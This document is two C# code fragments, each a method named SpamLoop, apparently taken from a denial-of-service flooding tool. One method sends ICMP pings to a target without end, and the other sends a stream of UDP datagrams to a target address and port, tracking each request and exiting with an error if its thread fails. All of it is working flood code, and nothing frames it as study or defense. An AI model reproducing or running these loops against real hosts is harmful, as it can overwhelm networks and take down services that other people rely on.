private void SpamLoop() { //Infinitely spam try { var remoteHost = new IPEndPoint(Target, Port); while (IsFlooding) { using (var pinger = new Ping()) { try { while (IsFlooding) { pinger.Send(remoteHost.Address); Requested++; } } catch { Failed++; } } } } catch { //Oh no, a thread died IsFlooding = false; FloodError?.Invoke(this, EventArgs.Empty); } }
private void SpamLoop() { //Infinitely spam try { var remoteHost = new IPEndPoint(Target, Port); while (IsFlooding) { using (var socket = new Socket(remoteHost.AddressFamily, SocketType.Dgram, ProtocolType.Udp)) { socket.Blocking = false; State = AttackStatus.Requesting; // SET STATE TO REQUESTING // //Keep flooding! try { while (IsFlooding) { var buf = System.Text.Encoding.ASCII.GetBytes(Message); socket.SendTo(buf, SocketFlags.None, remoteHost); Requested++; //Give the CPU a break if (Delay >= 0) { Thread.Sleep(Delay + 1); } } } catch { Failed++; } } } } catch { //Oh no, a thread died IsFlooding = false; FloodError?.Invoke(this, EventArgs.Empty); } }